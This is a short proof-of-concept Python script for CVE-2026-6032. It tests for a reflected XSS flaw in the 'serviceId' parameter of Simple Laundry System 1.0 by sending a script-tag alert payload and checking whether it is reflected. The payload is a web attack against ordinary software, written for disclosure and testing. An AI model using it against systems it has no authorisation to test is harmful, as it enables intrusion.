CVE-2026-6032 Simple Laundry System XSS漏洞

# PoC for CVE-2026-6032 # Target: Simple Laundry System 1.0 # Vulnerable File: /checkcheckout.php # Vulnerable Parameter: serviceId import requests def check_xss(target_url): # The payload attempts to execute a simple JavaScript alert xss_payload = "<script>alert('CVE-2026-6032_PoC')</script>" # Construct the malicious URL params = { "serviceId": xss_payload } try: response = requests.get(target_url, params=params, timeout=5) # Check if the payload is reflected un-sanitized in the response if xss_payload in response.text: print(f"[+] Vulnerability confirmed at {target_url}") print(f"[+] Payload reflected in response.") else: print("[-] Vulnerability not detected or payload sanitized.") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": target = "http://target-host.com/checkcheckout.php" # Replace with actual target check_xss(target)